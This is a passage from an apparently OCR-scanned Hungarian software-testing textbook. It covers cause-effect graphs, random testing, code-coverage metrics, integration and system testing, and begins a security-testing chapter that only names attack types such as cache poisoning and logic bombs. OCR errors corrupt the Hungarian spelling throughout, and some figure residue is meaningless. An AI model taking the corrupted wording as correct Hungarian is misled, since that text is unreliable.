A grafot a specifikacidbdl épitjik fel, az alabbiak szerint:

o ok: egy bemeneti feltétel vagy egy bemeneti ekvivalencia osztaly

e hatds: a kimeneti feltétel

e minden ok és hatas egy szamot kap

e atartalmat elemezve épitjik fel a grafot

o feljegyezziik azokat a feltételeket, amelyeket nem tudtunk a graffal dbrazolni.

A grafbdl elSallitjuk annak igazsagtablazatat, az alabbiak szerint

e Acelldkban 0 vagy 1 szerepel

e Asorok az okok és a hatasok

e Az oszlopok szdmdat az adja meg, hogy hdny lehetséges bemeneti kombinacié tudja
el6idézni legalabb egy kimenet 1 értékét.

e Az oszlopok szdmat csokkentheti, ha a hatasokra kirétt korlatozdsokat figyelembe
vesszik.

e A hatasokbdl kiindulva ("visszafelé") toltjlik ki a tdblazatot.

Az igazsagtablabdl a tesztesetek levezetése (azaz a szlikitett dontési tabla el6allitas) az alabbi
lépésekbdl all:

e Kitoroljuk azokat az oszlopokat, amelyek Utkéznek az okokra feljegyzett
korlatozasokkal
e A maradék oszlopok egy-egy tesztesetnek felelnek meg, ahol
o az okok soraiban 0 a feltételnek nem megfelel6 adatot, 1 a feltételnek
megfelel§ adatot jelent,
o a hatasok 0 — 1 értékei adjak az elvart eredményt.
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4.3.4 Véletlenszeri adatok generalasa

Ez a technika azon alapul, hogy automatikusan, véletlenszer(ien allitunk el6 bemeneti
adatokat, és ezekkel futtatjuk a tesztelendé modult. Bar ennek a mdodszernek a hibafeltard
képessége is véletlenszerlinek tlinik, szdmos szempont szdl az alkalmazasa mellett:

e Kis erdforras igény.

e Viszonylag kdnnyen automatizdlhato.

e Nagytomeg( adattal tesztelhet6 a modul/rendszer.

e A '"vak tyuk is talal szemet" elv alapjan esetleg olyan hibdra is fényt derithet, amelyre
a determinisztikus tesztek tervezése soran nem gondoltunk.

e Ez a mddszer haszndlhatd "monkey test"-ként, amellyel a prébdlkozé felhasznaléd
viselkedéséhez hasonlo hatast érhetlink el.

e Terhelési tesztre is alkalmas lehet.

A véletlenszer(i adatok generdldasa mindig egy adott tartomanyba esé (altalaban egyenletes
eloszlasu) szamok elGallitdsat jelentik. A tartomdny lehet az adott adat érvényességi
tartomany, vagy éppen azon kivili (ebben az esetben a rendszernek a hibds bemenetekre
adott vdlaszat tesztelhet;jlik).

Terhelési tesztként hasznalva gyakran lehet becsléslink arrdl, hogy a bemenetei adatok az
éles hasznalat esetén milyen eloszlast kovetnek, ilyenkor az egyenletes eloszlas helyett a
becsilt eloszlasnak megfelel6 adatokat generdlhatunk.

A véletlenszerl teszt generalds esetén sajatos problémaként jelenik meg a kimenetek
ellenérzése. Mivel ez automatizalast feltételez6 mddszer, az elvart kimentek el6allitasa és
azoknak a teszt eredményekkel vald 6sszehasonlitdsa is automatizaltan kell térténjen. Ez a
probléma a tobbi technika esetén is felmeriil, ezért erre a kés6bbiekben még visszatérink.

Ennél a moddszernél azonban az is felmeriilhet, hogy nem is vizsgdljuk a kimenetek
helyességét, ehelyett a rendszer viselkedésére helyezziik a hangsulyt, és csak arrél akarunk
meggy6z6dni, hogy a folyamatos mikodés sordn nem Iépnek fel varatlan események.

4.3.5 Hasznalati eset (use case) tesztelés

A mai fejlesztési projektekben a specifikacié gyakran hasznalt eszkdze a hasznalati eset (use
case) modell felépitése. llyen esetekben a teszt tervezés vezérfonaldt a hasznalati eset
modell elemei alkotjak, s6t, a teszteseteket is leirhatjuk hasznalati esetekkel.

Ebben az esetben a hasznalati esetek és a tesztesetek Gsszerendelése hasznos eszkdz lehet
annak eldontésére, ellen6rzésére, hogy hol tartunk a tesztelési folyamatban. Ezt
legegyszer(ibben egy teszt lefedettségi matrixszal abrazolhatjuk, amit az aldbbi dbra mutat:
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Hasznalati esetek
Testeset |1 |2 |3 4 5
1
2
3
4
5

A szurkitett celldk azt mutatjak, hogy melyik teszteset melyik haszndlati eset funkcidinak
tesztelésére szolgdl. A teszt lefedettségi matrix segithet a tesz futtatdsok Utemezésében, és
ellenérizhet6 segitségével, hogy minden hasznalati esethez tartozik-e legalabb egy teszt
eset.

4.3.6 Az elvart eredmény el6allitasanak problémaja
Az el6z6ekben mindig feltételeztik, hogy az elvart eredmény, amit a teszt futas kimenetével
0ssze tudunk hasonlitani rendelkezéstnkre all.

Ez azonban a gyakorlatban nem mindig ilyen egyszer(i, mert az ellen6rzendé modul
m(ikddése lehet nagyon bonyolult, sok szamitasi l1épést igényl6 folyamat, amit manualisan
nem tudunk elvégezni. A probléma lehetséges megoldasai:

e A valds feladatnal sokkal kisebb méretii feladatot adunk teszt esetként, amit kézzel is
végig lehet szdmolni.

e Ugyanazt a problémdat mas programmal is megoldatjuk, és annak az eredményét
hasznadljuk fel a teszt kimenetének ellenérzésére.

e Szimuldcids szoftvert haszndalunk.

e Bar a kimenetet szdmszerlien nem tudjuk ellenérizni, de tudjuk, hogy az
eredménynek bizonyos szerkezeti sajatossagokat kell mutatnia.

Példaként emlithetlink egy olyan projektet, amelyben jelen fejezet szerz6jének egy geofizikai
modellez6 rendszer programjanak elkészitése volt a feladata. A matematikai modell egyik
része egy tobb szazezer ismeretlenes linearis egyenletrendszer egyltthaté matrixanak a
felépitését és az egyenletrendszer megolddasat igényelte. Nyilvanvald, hogy ennek a
modulnak a kimenetét nem lehet ugy ellenérizni, hogy kézzel kiszamitjuk az eredményt. A
tesztelés ezért tobb |épcsGben tortént:

e ElBszor egy erésen redukalt elemszamu (tiz kordli ismeretlent tartalmazo) feladatot
oldattunk meg, amelynek természetesen fizikai realitdsa nincs, de az eredményét
manuadlisan is lehet ellendrizni. A ,,manudlis ellen6rzés” persze mar ebben az esetben
is jelentheti segédprogramok igénybevételét.

o A kovetkez6 lépcs6 az egylitthatématrix valds értékei helyett olyan specialis értékek
bedllitdsat jelentette, amellyel az egyenletrendszer megolddsanak helyességét
konny( tesztelni. (Példdul ha az egylitthatd matrix az egységmatrix, akkor a megoldas
vektornak azonosnak kell lennie a jobboldal vektoraval.)
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e Rendelkezésre allt olyan, korabban kifejlesztett és letesztelt program, amely az adott
fizikai probléma specialis, egyszer(sitett eseteit tudta kezelni. Ugyanezt a problémat
a tesztelend6 programmal is megoldva, az eredmények 6sszehasonlithaték voltak.

e Lehetett olyan input adatokat generalni, amelyekhez tartozé eredménynek a fizika
torvényei szerinti meghatdrozott sajatossagokat kellett mutatnia: szimmetriat,
megadott peremfeltételekkel valé egyezést stb. Ezekben az esetekben az kimenet
egyes elemeinek a numerikus helyességét nem lehetett ellendrizni, csak a
torvényekkel valé egyezdséget.

4.4 Struktara alapu technikak

Ezeknek a mddszereknek az alapja az a tapasztalat, hogy a programozasi hibdk gyakran a
vezérlési szerkezeteket érintik. A tesztelés célja tehat a kod strukturdjanak a felderitése és
helyességének ellenbrzése, ezért a tesztesetek generaldasa a forrdskdd elemzése alapjan
torténik.

Ebben a szemléletben a tesztesetek megtervezése sordn az a cél, hogy a vizsgalt kod minden

......

szama nagyon magas lehet, altaldban nem tul nagy egységek képezik a tesztelés targyat.

A kédbejards alapjat a kod matematikai modellje, a vezérlési folyamat graf (control-flow
graph, CFG) képezi.

A vezérlési folyamat graf egy olyan iradnyitott graf, amelyben a csomdépontok a program
utasitasainak felelnek meg, az iranyitott élek pedig a végrehajtasuk sorrendjét jeldlik ki. Egy
dontési utasitasnak megfelel6 csomodpontbdl tobb él indul ki, a vezérlési agak
Osszekapcsolddasi pontjdban elhelyezked6 utasitashoz pedig tobb él fut be. A ciklust
visszafelé irdnyuld él reprezentilja.

A vezérlési folyamat graf a forraskddbol automatikusan el8allithatd, erre megfelel
segédeszkozok allnak rendelkezésre. A folyamat graf elemzésére, kiilonb6z6 jellemz8inek
meghatarozasara pedig a matematika szamos kidolgozott grafelméleti algoritmust biztosit.

A tesztelés hatékonysdganak mérésére mérészamokat hasznalhatunk. A mérészamok
meghatdrozasdra szintén rendelkezésre dllnak a megfelel6 algoritmusok és az azokat
végrehajtani képes eszkdzok.

4.4.1 A struktura alapu technikak alkalmazasi teriiletei
Vezérlés intenziv alkalmazasok

e Ebben a kategéridban valdszinlleg igaz, hogy a hibdk a sok esetben a vezérlési
szerkezeteket érintik. Algoritmus hibakat is kimutathat.
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Tervezési hibak felderitése
e Elsdsorban logikai hibak (pl. elérhetetlen kodrészek)
Szabvéanyok elGirdsai

e Mivel mérészamokkal mindGsithet6, sok szabvany el6irja valamilyen strukturdlis
technika hasznalatat.

4.4.2 Avezérlésifolyamat graf

A vezérlési szerkezetet a vezérlési folyamat graf modellezi, egy program végrehaijtasi eset
pedig egy Ut bejarasa ebben a grafban. Ezért felliletesen mondhatndnk, hogy a teljes
tesztelés valamennyi Ut bejardsat jelenti.

Mivel azonban a feltételek nem mindig fliggetlenek egymdstdl, a bejarhaté utak szama
altalaban kevesebb, mint az 6sszes ut.

A ciklomatikus komplexitds (CK) a vezérlési grafban megtaldlhaté fliggetlen utak maximalis
szama. Két ut fuggetlen, ha mindkett6ben létezik olyan pont vagy él, amelyik nem eleme a
masik utnak.

A ciklomatikus komplexitds értéke arra jellemz6, hogy a program vezérlési szempontbol
mennyire bonyolult.

Altalanos tesztelési cél, hogy a teszthalmaz fedje le a fiiggetlen utak egy maximalis (tovabbi
fliggetlen utakkal mar nem bévithet6) halmazat. Ennek a célnak a megvaldsitdsat az aldbbi
problémak nehezithetik:

e Az ilyen utak halmaza nem egyedi, tehat ugyanahhoz a kédhoz akdar tébb ilyen
halmazt is lehet rendelni, ami tébb teszteset halmazt is jelenthet.

e Mivel a ciklomatikus komplexitas a fliggetlen utak szamdanak felsé korlatja, egyes
halmazok szdmossaga lehet kisebb, mint a ciklometrikus komplexitas.

4.4.3 A strukturalis tesztgeneralas 1épései
A teszt generdlds folyamata lényegében leirhatd az aldbbi [épésekkel.

Vezérlési graf generaldsa

Ez automatikusan végrehajthato a kod elemzésével.

CK (ciklomatikus komplexitds) szamitasa

Létezik ra algoritmus, és a kod elemzé eszk6zok képesek ezt az értéket meghatdrozni.
Fliggetlen utak maximalis (CK db utat tartalmazd) halmazanak generaldsa

Ebben a |épésben mar adddnak problémdk. Ha vezérlési graf kort tartalmaz (marpedig
tartalmaz, mert elég nehéz értelmes koédot elképzelni ciklus nélkil), az elvben végtelen
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szamu Ut generaldsat tenné lehetévé. Ne felejtsiik el, hogy a vezérlési graf nem tartalmaz
futas kozbeni értékeket, igy egy ciklus menetszama (ami a valésagban természetesen véges)
a grafbol nem allapithatd meg. Ez a probléma kezelhetd, de a generdlandd utak szamanak
novekedését jelenti. Kilonosen igaz ez az egymasba agyazott ciklusok esetén. A struktura
alapu tesztelési technikdk legnagyobb kihivasat éppen a ciklusok kezelése jelenti.

Bemenetek generdlasa a fliggetlen utak bejarasahoz

Ebben a |épésben az okozhat problémat, hogy egy adott Uthoz nem feltétleniil generalhatd
olyan bemeneti kombinacié, amely annak a bejarasat eredményezné. Ez persze nem jelenti
feltétlenll azt, hogy az adott ut elemeit képez6 utasitasok elérhetetlenek, csak azt, hogy egy
masik Ut részeként hajtédhatnak végre.

A tesztelés alapossaganak ellendrzése kod lefedettségi mérészamokkal

Az id6k soran szamos ilyen mérGszamot dolgoztak ki, és megoldott ezen mér&szamok
automatikus szamitdsa is. A mérdszamok altaldban 0 és 1 kozé es6 értékek. Azt
mondhatndnk tehat, hogy a tesztelés akkor teljes, ha egy ilyen mérGszam értéke 1 (teljes
lefedettség), azonban:

o A teljes lefedettség sokszor csak irredlisan nagy teszteset halmazzal érheté el, ezért
inkabb annak csak minél jobb megkozelitésére torekedhetiink.

e A 100%-os lefedettség sem jelenti azt, hogy minden hibat megtaldltunk. (Erre
példdkat az egyes mér6észamok ismertetésénél mutatunk.)

e Mivel a kiilonboz6 lefedettségi mérészamok mas és mas szempontbdl értékelik a
tesztelés alapossagat, célszerl tobbet is haszndlni.

A lefedettség elemzés (coverage analysis) a mértékszdamok tesztelés soran torténd
hasznalatanak elmélete. A gyakorlat ugyanis azt mutatja, hogy a tesztesetek futtatasi
sorendjének ,lgyes” megvalasztasaval eleinte a felderitett hibdk szdmdanak gyors
novekedését lehet elérni, még viszonylag alacsony lefedettség esetén is. A teljes
lefedettséghez valé kozelités soran a kés6bbiekben feltart hibat szama fokozatosan csokken.
Kilonboz6 stratégidkkal tehat jelentds koltségeket lehet megtakaritani.

Itt hivnam fel arra a figyelmet, hogy a kdéd lefedettségi mutaté nem azonos a hiba
lefedettséggel (amit nem is tudunk szdmitani, hiszen ahhoz ismerni kellene a programban
levé hibdk szamat). A kod lefedettség a tesztelés alapossagat méri, a hiba lefedettség az
eredményességét. A tapasztalatok alapjan azonban abban bizhatunk, hogy az alapos
tesztelés az eredményességet is noveli.

4.4.4 TesztminOségi méroszamok
Ebben az alpontban az aldbbi, gyakrabban hasznalt kéd lefedettségi mérészamok szamitasi
maodjait és jelentését tekintjik at

e utasitds lefedettség,

4-15



Szoftver tesztelés
o 3g lefedettség (vagy dontés lefedettség),
o Ut lefedettség.

4.4.4.1 Utasitas lefedettség
Szamitasi mddja:

S(c) =s/S

ahol s a tesztelés sordn legaldbb egyszer végrehajtott, S pedig a program Osszes
utasitasainak a szama

A 100% még nem biztositék arra, hogy a teljes tesztelés minden hibat megtalal.
Egyszerd példa a fenti problémara (hibas kddrészlet):

int a=5;

X= ...;

if (x>0) a = 10;

a=20;

o Az utasitds lefedettség teszt 100%, mert minden sorra rakeril a vezérlés.
e Ha nem volt olyan teszt, amely soran a feltétel igaz értéket vesz fel, nem deril ki a
hiba.

4.4.4.2 Ag lefedettség (dontés lefedettséq)
Szamitdsi mddja:

D(c) =d/D

ahol d az eldgazdsi utasitasokban szerepld feltételek kimeneteinek tesztelés soran
bekodvetkezett értékeinek szdma, D pedig a program 0Osszes elagazas utasitasaiban szereplé
feltételeinek lehetséges szama.

A dontés lefedettség tehat akkor teljes, ha a programban szerepl6 6sszes dontés minden
lehetséges kimenete el6fordult a tesztelés soran.

A 100%-os lefedettség ugyan alaposabb tesztelést eredményez, mint az utasitds
lefedettsége, de itt is van ellenpélda:

if (feltl && (felt2 | | fuggveny() ))
ul;

else
u2;
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Ahol feltl és felt2 logikai kifejezések

A teljes lefedettséghez két teszteset sziikséges, hiszen egy feltételnek két lehetséges
kimente van. Ez a két teszteset lehet példaul:

o feltl és felt2 igaz — ekkor az elagazas feltétele igaz,
o feltl hamis, - ekkor az elagazas feltétele hamis.

Ebben a két tesztesetben egyszer sem volt sziikség a harmadik operandus kiértékelésére,
tehat a fliggvény nem hivédik meg. Ha abban van hiba, az felderitetlen marad.

4.4.4.3 Ut lefedettség
Szamitdsi mddja:

P(c) = p/P
ahol p a tesztelés sordn bejart utak szama, P pedig a vezérlési graf 6sszes Utjainak a szama
Teljes ut lefedettség teljes utasitds és ag lefedettséget biztosit.
Nagyon szigord mérGészam, mert

e Az Osszes utak szama nagyon nagy lehet, ezért a tesztesetek generdlasa és lefuttatdsa
eréforrds igényes.

e A vezérlési grafban lehetnek nem bejarhatd utak az egymast kizaro feltételek miatt,
tehat a teljes lefedettség nem is mindig elérheté.

4.4.5 A struktura alapu tesztek szerepe

A fenti rovid bevezet6bdl is |atszik, hogy a struktira alapu tesztelés bonyolult és eréforras
igényes feladat. Végrehajtasahoz specidlisan erre a célra fejlesztett eszkdzok kellenek, mert
manudlis végrehajtasa a bonyolult algoritmusok és a sziikséges tesztesetek nagy szama miatt
legfeljebb mintapéldakon lehetséges.

Bonyolultsaga ellenére sem mell6zhet6k ezek a tesztek a biztonsdg-kritikus rendszerek
esetén. Az ilyen rendszereknél a program varatlan viselkedése egy adott helyzetben akar
emberéleteket is veszélyeztethet, vagy jelent6k karokat okozhat. Ha a teljes lefedettséget
minnél jobban megkdzelits, alapos tesztelésnek vetjiik ala ezeket a rendszereket, a varatlan
viselkedés valdszinlisége az elfogadhatd kockazati szint ala csokkenthetd.

A tesztek sordn alkalmazott lefedettségi mutatdok alkalmazhatdk az utasitasoknal nagyobb
absztrakcios szintl strukturdkra is. llyenkor a vezérlési folyamat graf elemei lehetnek példaul
alrendszerek, modulok, interfészek, vagy akdr a mendistrukrdra elemei. Az integracios
tesztek esetén ilyen méddon médon mérhetjik, hogy a végrehajtott teszt készletek a rendszer
elemeit mennyire alaposan fedték le.
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4.5 Gyakorlat alapa technikak

A gyakorlat alapu technikdk a tesztel6 szakember tapasztalatain alapuld ad-hoc, nem
szisztematikus mddszerek. Alkalmazhatdk a formalisabb technikak kiegészitésére, de vannak
olyan esetek, amikor fGszerephez jutnak. llyenek lehetnek az alabbiak:

e Nincs olyan, megfelel6 min&ségl specifikacid, amibdl levezethetSk a tesztesetek.
e Nincs elég id6 a megfelel6en megtervezett tesztelési folyamat lebonyolitdsara.

4.5.1 Hiba becslés (Error guessing)

Ez egy nagyon egyszerld mddszer, ami kihaszndlja a tesztmérndk hasonlé alkalmazasokkal
szerzett tapasztalatait, és lehet6vé teszi olyan specidlis tesztesetek azonositasat, amelyeket
a szisztematikus technikakkal nehéz feltarni. A szisztematikus mddszerek kiegészitéseként a
teszteseteket a kordbbi rendszerek ismertté valt tipikus problémai ismeretében egésziti ki.

A mddszer hatranya, hogy a hatékonysaga esetleges, els6sorban a tesztel6 gyakorlatdn,
intuiciés képességein, és azon mulik, hogy részt vett-e kordbban hasonlé rendszerek
fejlesztésében. El6nye viszont, hogy a teriileten gyakorlott felhasznaldkat is be lehet vonni a
tesztesetek tervezésébe, felhasznalva egy masik néz6pontbdl szarmazé informacidkat.

A hiba becslés mddszerét strukturaltabba lehet tenni azzal, hogy elkészitlink egy potencialis
hibalistat. A lista a tesztel6 és a felhasznald el6zetes tapasztalatai alapjan késziilhet, és
segitheti a szisztematikus médszereket, de tovabbi teszteseteket is generalhat.

4.5.2 Felderito tesztelés (Exploratory testing)

Ez a mddszer kombindlja a tesztel6 tapasztalatait és a strukturdlt tesztelési mddszereket.
Hasznos lehet abban az esetben, ha a specifikdcido elnagyolt, hidnyos, vagy a fejlesztés
hatarideje nagyon feszitett tempot igényel. Ez a technika lehet6vé teszi, hogy a korlatozott
tesztelési id6t jobban kihaszndljuk azaltal, hogy segit megtaldlni a legfontosabb,
mindenképpen végrehajtandd teszteseteket.

4.6 Ellenorzo kérdések
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5 Integracios tesztek

Az integracios tesztek az egységteszteket kovetik. Az egység teszt szorosan kapcsolddik az
implementacids fazishoz, és biztositja, hogy a részegységek dnmagukban mar helyesen
miikodnek. igy ha az integraciés tesztek soran hibat észleliink, az feltehetSleg a modulok
egyluttm(kodésébdl adodik.

Az integracids teszteknek kovetkez6 fazisait kiilonboztetjik meg:

e technikaiintegracids teszt (Integration Level Testing, ILT),
e rendszerteszt (System Level Testing, SLT),
o elfogadtatdsi teszt (User Acceptance Testing, UAT).

Ezek kilénbdznek az integraltsag szintjében, és részben a céljaikban is.

5.1 Integration Level Testing (ILT)

Célja az egyluttm(kodé egységek vizsgalata. Ezért a teszteléshez egy részrendszert allitunk
0ssze a mar dnmagaban tesztelt elemekbdl. Ezek tobbnyire csak technikai, nem funkcionalis
részrendszerek, ezért probléma lehet a megfelel6 tesztesetek eldallitasa.

Az ILT szemlélete elsGsorban verifikacids, tehat a hibdk megtaldldsara irdnyul.

5.1.1 Integracids stratégiak
A részrendszerek Osszeépitésére és a tesztesetek megtervezésére és futtatdsdra kilonbozé
stratégiak alakultak ki.

5.1.1.1 "Big-bang" integrdcio

Feltételezziik, hogy a rendszer minden egység rendelkezésre all, és ezekbdl egybdl a teljes
rendszer épitjuk fel, azaz valdjdban az ITL kimarad, és egybdl a System Level Testing
kovetkezik. El6nye, hogy a testeseteket konnyebben le lehet vezetni a kovetelmény
analizisbGl és nagyon kevés segédkddot kell irni a tesztek végrehajtasahoz. Hatranya viszont,
hogy nagyon nehéz a hibak okat megtalalni, mert egy hibajelenséget tobb hiba egyuttese is
okozhat (a hibdk kovetkezményei "Osszemosddnak"). Ezért legfeljebb nagyon egyszerU
rendszerek esetén alkalmazhato

5.1.1.2 Inkrementdcios integrdcios és tesztelési stratégia
Ebben az esetben a rendszer elemeit fokozatosan integrdljuk, és minden egyes integracios
szinten teszteket hajtunk végre. A folyamat tehat az alabbi [épésekbdl all:

e Néhany elemet (modult vagy részrendszert) kombindlunk.
e Olyan teszteket futtatunk, amelyek csak az 6sszeépitett elemeket igénylik.
e Ha minden teszt sikeres, Ujabb elemeket teszlink hozza a rendszerhez.

11111

e Minden eddigi tesztet uUjra lefuttatunk.
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A fenti iteracidt addig folytatjuk, amig a teljes rendszert dsszeépitettiik, és azon valamennyi
teszt sikeresen lefutott.

Példa:

z
N

7y
By Ay 8

$608
Sy fly Gy 6
Jyy9y!

Test zsequence Test sequence Test zequence
1 2 3

5-1. dbra Iteracids teszt

Figyeljik meg, hogy a kibdvitett rendszeren ujra kell futtatnunk az el6z6leg mar sikeresen
lefutott teszteket is, hiszen nem lehetiink biztosak abban, hogy az Ujabb modulok
integraciéja nem okoz hibat a korabbi modulok mUkddésében. Ez a futtatandd tesztesetek
szamdanak exponencialis novekedését jelenti, ami egy bonyolult rendszer esetén nagyon
erGforrds igényessé teszi a folyamatot.

Mivel a tesztelés targya mindig csak egy részrendszer, annak miikodtetéséhez tesztelési
kornyezetet kell biztositani, ami segédkddok irdsat jelenti. A biztositandd tesztelési
kornyezet attél fligg, milyen integraciés mddszert alkalmazunk. Elvben két lehetséges
megkozelités kozil valaszthatunk:

e top-down integracio
e bottom-up integracio

Tobbnyire a két megkdzelités valamilyen 6tvozetét hasznaljak a gyakorlatban.

5.1.1.3 Top-down integrdcio
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5-2. dbra Top-down integracié
Folyamata:

e A hierarchia legfelsé szintjén all6 elem tesztelésével kezdjik.
e Az egy szinttel lejjebb all6 elemek viselkedését és iterface-ét szimulald ideiglenes
elemek (stub) sziikségesek.

e Ha a teszt sikeres, az ideiglenes elemeket a valddiakkal helyettesitjik, az altaluk
hasznaltakat pedig Ujabb ideiglenes elemekkel szimulaljuk.

El6nyei:

o Jolilleszkedik a top-down programfejlesztési mdédszerekhez.

e Egy modul a megirdsa utan rogton tesztelhetd.

o Az esetleges tervezési hibak kordn kideriilnek, és idejében orvosolhatok.
e Viszonylag kordn rendelkezésre all egy korlatozott képességli rendszer.

Hatranyai:

e Bonyolult lehet a szimulacidt végzé ideiglenes rutinok megirasa.
e A hierarchia fels6 szintjein all6 modulok sokszor nem szolgdltatnak outputot. A
teszteléshez kiilon eredmény-generald "betétek" sziikségesek.

5.1.1.4 Bottom-up integrdcio

5-3



Szoftver tesztelés
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5-3. abra Bottom-up tesztelési stratégia

Folyamata:

o El6szor a legalsd szinten levé modulokat teszteljiik, majd a hierarchidban felfelé
haladunk.

e Ehhez a fels6 szinteket szimuldlé tesztelési kornyezetet (test driver) kell irni.

e Ha a teszt sikeres, a teszt driver-eket a valddi implementdlt elemekre cseréljiik, és a
kovetkezd szintet helyettesitjik test driver-ekkel.

5.2 System Level Testing (SLT)

A rendszer 6sszes komponensének teljes kord (funkcionalis, nem funkcionalis) tesztelése.
Feladata annak megallapitasa, hogy a rendszer kiadhaté-e a megrendel6nek. Ez tehat egy
végsl ellendrzési fazis a fejlesztési folyamatban. Szokas elnevezése még: "release test", a
tesztelés targyat képezG rendszervaltozat pedig gyakran nevezik "alpha version"-nek.

Bar a tesztelési munka még fejlesztd szervezeten belil folyik, sziikséges az éles hasznalat
kornyezetének minél pontosabb szimulacidja.

A tesztelés célja kett6s:

e Verifikdcidés: a rendszer olyan hibainak megtaldldsa, amelyek az eddigi tesztelési
tevékenységek soran nem mutatkoztak meg.

e Validaciés: féleg a nem funkciondlis kovetelmények tesztelése segitségével
meggy6z8&dni arrdl, hogy a felhasznald céljainak megfelel6 a rendszer mikodése.

Ezen célok elérésére a rendszert tobb szempont szerint tesztelhetjlk.

5.2.1 Szolgaltatas tesztelés
Célja annak megallapitasa, hogy a rendszer minden funkcionalis kévetelményt implemental,
és azok helyesen mukodnek.
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5.2.2 Mennyiségi tesztelés

A szoftver mikodését nagy mennyiség(i adattal teszteljik a kapacitaskorlatok ellenérzésére.
Ellendrizziik, hogy az adatmennyiség nem okoz-e hibas miikodést. Végrehajtasi / valasz
id6ket is figyelhetliink, mérhetiink, amely mar a terhelési tesztek el6készitését jelenti.

5.2.3 Terheléses tesztelés (Stressz-tesztelés)
A tesztelt rendszert valamilyen szempontbdl erds terhelésnek teszi ki. Fontos feladata a
megfelel6 valaszid6k ellendrzése. Ennek érdekében:

e Vizsgalni kell, hogy a rendszer adott id6korlaton beliil hogyan teljesit nagy
mennyiségl adatokon dolgozva.

e Intenziv feldolgozast kivand helyzeteket kell teremteni, melyek szélséségesek, de
el6fordulhatnak.

e A robosztussdg ellenérzésére érdemes a terhelést olyan szintre is emelni, amely
(elvileg) a hasznalat soran nem fordulhat elé.

5.2.4 Hasznalhatdsagi tesztelés

A rendszer egy meghatarozott felhasznald altal, egy meghatdrozott felhasznalasi kérben
hasznalva, meghatdrozott célok hatékony és produktiv elérésére, mennyire kielégité és
mennyire vezet megelégedésre. Minden felhasznaldi szerepkort, minden haszndlati moédot
meg kell vizsgalni.

5.2.5 Biztonsagi tesztelés

Az adatbiztonsaggal és adatvédelemmel kapcsolatos hibak vizsgdlata. A mai, elosztott
architekturdja, gyakran (legaldbb részben) Web alapu rendszerek esetén egyre nagyobb a
jelent6sége, ezért ezzel e kérdéssel egy kilon fejezetben is foglalkozunk.

5.2.6 Teljesitménytesztelés
A teljesitmény vagy a hatékonysdg mérése kilonboz6é terheléseknél és konfiguracidkra
meghatdarozott valasziddk és feldolgozasi sebességek formajaban.

5.2.7 Konfiguraciotesztelés
Kilonboz6 kornyezetek (hardver, operaciés rendszer, egyéb szoftver installacidk)
lehetségesek.

Ha a programnak kordbbi rendszerekhez kell kapcsolddniuk, vagy a program egy kordbbi
valtozatat valtjak le: ellendrizni kell a kompatibilitast vagy a konverzids eljarasokat.

5.2.8 Megbizhatosagi tesztelés
Ha program céljai koz6tt megbizhatdsaggal kapcsolatos specidlis kitételek szerepelnek.

A megbizhatdsdgi teszteknek adott esetben ki kell terjednilik a rendszer programozasi-
hardver- vagy adathibak bekodvetkezte utdni feldllasara, mikodésbe visszaallasara.
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5.2.9 Dokumentaciotesztelés
Felhasznaldi és fejlesztési dokumentumokra egyarant vonatkozik.

A fejlesztési dokumentacié esetén annak teljességét és az elkésziilt rendszerrel vald
Osszhangjat kell vizsgalni.

A felhaszndldi dokumentacidban szerepld 0Osszes illusztrativ példat le kell képezni
tesztesetekké és végre is kell hajtani velik a tesztelést.

5.3 User Acceptance Testing (UAT)
Feladata annak megallapitasa, hogy a rendszer éles (izembe dllithato-e.

Célja a felhasznald és minden haszonélvezd (stakeholder) elégedettségének vizsgalata.

Altaldban a megrendel6 telephelyén, annak kdzremiikodésével, és a végleges lizemeltetési
korilmények kozott kell végrehajtani.

A haszndalhatd tesztelési mddszerek hasonldéak, mint a SLT esetén, de azok kozlil csak a
felhaszndald szamara relevans eseteket kell bemutatni.

Ez a szint elsGsorban verifikacids szemléletli, tehat az a j6 teszt, amely sikeres m(ikodést
produkal.

Lehet verifikacios célja is (olyan hibdk kimutatdsara, amelyek csak a végleges m(ikddtet6
kdrnyezetben vizsgalhatok.)

Egy specialis UAT mddszer a béta verzid kibocsatasa. A béta verziot altalaban egy korlatozott
felhasznaldi kor kapja meg, akikt8l elvarhatd, hogy az észlelt hibakat rendszeresen jelentik a
fejleszt6knek.
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6 Biztonsagi tesztelés
Ez a fejezet attekinti a biztonsagi tdmadasok leggyakoribb tipusait. Az itt leirt biztonsagi
tdmadasok a www.owasp.org oldalon taldlhato szabad cikkek forditasai.

A tamadasok azok a technoldgidk, amiket a tdmaddk hasznalnak, hogy kihasznaljak az
alkalmazasok sebezhet6 pontjait. A tamadasokat gyakran tévesztik 6ssze a sebezheté
pontokkal. Egy tdmadas leirdsa azt mondja el, hogy mit tenne a tdmadd a gyengeség
kihasznaldsara, nem pedig az alkalmazdas gyenge pontjait ismerteti.

Ebben a fejezetben a legfontosabb biztonsagi tdamadasokat ismertetjlik, hogy a tesztelés
soran tudjuk, minek lesz kitéve az alkalmazdsunk. Ha ismerjiik a biztonsagi tdmadasokat,
akkor a tesztek soran kiprébdlhatjuk, hogy alkalmazdasunk ellen 3ll-e a tamadasnak. Ha igen,
akkor a kiadott szoftveriink kisebb kockazatot jelent a hasznaldjanak és igy nagyobb értéket
képvisel. A tdmadas ellendlldsag egyrészt verseny el6ny, masrészt az elkérhet6 magasabb ar
fedezi a tesztelés extra koltségeit. Az extra koltségek a magasan képzett tesztel6k magasabb
munkadijabdl és a tdmadas ellendlldsag tesztelésének viszonylag iddigényes volta jelenti.
Ugyanakkor a tdmadas ellendllésag vizsgalatahoz nem elég csak a legfontosabb tdmadasokat
ismerni, hiszen Ujabb és Ujabb tamadasi mddszereket fejlesztenek ki az IT rendszerek
feltorésére specializalddott hacker-ek.

A tdmadas ellendlldsag tesztelése altaldban feketedobozos teszt. Torténhet a rendszer
kiadasa el6tt vagy utan is. Ha utdna torténik, akkor altaldban etikus torési kisérletrdl
beszéliink. Ehhez altaldban kiils6 szakembereket, fehér kalapos hacker-eket szoktak felkérni.
Ha a kiadas el6tt torténik, akkor altaldban a legmagasabban képzett belsé tesztmérnokok
feladata. Ez a fejezet nekik szdl, de a szlikséges ismereteknek csak egy részét tartalmazza.

A biztonsagi tdmaddasok legfontosabb tipusai (tdAmadas fajtdi — konkrét tdmadasok):

o Mikodés ellehetetlenitése — Cache Mérgezés” (4buse of Functionality - Cache
Poisoning )

A (Data Structure Attacks - Overflow Binary Resource fajl )

A Artalmas kod beagyazasa — logikai/idézitett bomba (Embeeded Malicious Code -
Logic/time bomb)

A Trojai” (Troyan Horse)

A Azonositasi folyamat kihasznalasa — Account kizarasi tamadas” (Exploitation of
Authentication - Account lockout attack)

